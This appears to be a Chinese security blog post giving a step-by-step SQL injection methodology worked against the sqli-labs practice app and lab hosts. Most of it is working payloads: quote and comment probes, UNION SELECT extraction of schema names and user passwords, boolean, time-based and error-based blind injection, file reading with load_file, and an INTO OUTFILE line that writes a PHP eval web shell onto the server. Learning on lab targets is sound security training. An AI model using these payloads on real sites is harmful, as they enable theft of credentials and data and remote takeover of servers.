GET注入流程

1.判断是否存在注入、以及请求方法(POST、GET、COOKIE、REQUEST、HTTP头);根据有无回显分为(回显注入、报错注入、布尔盲注、时间盲注)

输入单引号    '    进行检验是否存在输入

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1 '

错误回显 => 存在注入

原理:

页面发生了报错,说明输入的单引号    '    影响了数据库查询,说明此处存在可控的参数,存在注入点

1.1不是用  ' 进行的闭合的可以尝试{   ' 、}、"、)、   }  

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1'

正确回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1"

错误回显 => 存在注入

1.2时间盲注

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1'

正确回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1"

正确回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1' and sleep(3) --+

延迟回显 => 存在时间盲注

2.判断参数类型(数字型、字符型、搜索型、json),加注释符号{ # 、 --+ 、%23 }

输入 and 1=2    检验是字符型还是数字型

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1  and 1=2

错误回显 => 证明是数字型。

原理:字符型在查询有闭合符号,如果直接将and 1=2带入查询,以及后后面的测试语句,都会当成字符串,不会被执行。

3.闭合查询语句

输入{' 、}、"、)、}  单个或者组合后在加测试语句   and 1=2  

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=2 --+

错误回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=1 --+

正确回显 => 闭合成功

3.1多闭合查询语句

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=2 --+

错误回显

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1'  and 1=1 --+

错误回显 => 第一位闭合正确

http://127.0.0.1/sqli-labs-master/Less-1/index.php?  id=1')  and 1=1 --+

正确回显 => 闭合成功

注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。

4.查看这个网站后台数据库所在的表有几列

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1' order by 3

使用二分法,如果输入错误则报错,如果存在就维持原状。

原理:

select * from table order by n 表示select里面的第n个字段,从而判断有几行

5.进行 union select联合查询,发现显示位

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2,3 %23

发现有2个显示位(为了union联合查询可以正常运行所以要使前方信息报错,后边用%23进行注释)

原理:

UNION 操作符用于合并两个或多个 SELECT 语句的结果集

5.1进行布尔盲注,盲注所在数据库名称、可以使用

方法一:left((select schema_name from information_schema.schemata limit 1,1),1)='a'--+、

方法二:ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99--+、

方法三:slqmap

https://636-9a6d57ca-65dc-4d51-bcca-f0265f719e00.do-not-trust.hacking.run/?id=1' and left(database(),1)='a' --+

错误回显 => 数据库第一位不为a

https://636-9a6d57ca-65dc-4d51-bcca-f0265f719e00.do-not-trust.hacking.run/?id=1' and left(database(),1)='s' --+

正确回显  => 数据库第一位为s

查询表

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1)='R'--+

5.2进行报错注入,查询所在数据库名称、可以使用

方法一:updatexml报错注入

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

方法二:extractvaule报错注入

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' and extractvaule(1,concat(0x7e,(select database()),0x7e),1) --+

方法三:进行双查询注入

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' union select null,count(*),concat((database()),floor(rand()*2))as a from information_schema.tables group by a --+

查询表

https://636-65bd159c-591c-4f42-83ed-5509a7f22efb.do-not-trust.hacking.run/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

注意:print_f(mysql_error()) 被注释掉了我们不能基于报错来进行注入

5.3导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于max_allowed_packet

获取数据库存储数据路径

?id=-1' union select 1,2,@@datadir --+

写入文件

?id=1')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile "//var//lib//mysql//shell.php" -–+

5.4布尔盲注

猜测数据库名长度

https://636-28a1490f-a0a3-4aef-9543-129e15e66b53.do-not-trust.hacking.run/?id=1' and if(length(database())=8,sleep(3),1) --+

延迟回显 => 猜解成功

猜解库名

https://636-28a1490f-a0a3-4aef-9543-129e15e66b53.do-not-trust.hacking.run/?id=1' and if(left((select database()),1)='s',sleep(3),1) --+

延迟回显 => 猜测成功

6.查询数据库版本号、所在数据库

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,database(),version() %23

发现版本号为5.5.23(版本号5.0以上会专门生成一个叫information_schema的库,这个库里有数据库中所有表的名字)

7.查询所在数据库拥有的表名

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-1' union select1,2,group_concat

(table_name) from information_schema.tables where table_schema = database() %23

 原理:

group_concat(str1, str2,...)将多个字符串连接成一个字符串

7.1查询所有数据库的表名

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

8.查询出users表里的列名

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2,group_concat(column_name)%20from information_schema.columns where table_name ="users"%23

9.查出users表中username列中 用户名和密码

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=-1' union select 1,2, group_concat(username,password) from users %23

group_concat() 显示查询到所有的列

information_schema一个库

schemata:保存所有数据库的名字

tables:保存说有表的名字

columns:保存所有字段的名字

参考

https://www.cnblogs.com/biaochen/p/11307264.html

posted @ 2022-03-19 18:39  WeQi_Blog  阅读(268)  评论(0)    收藏  举报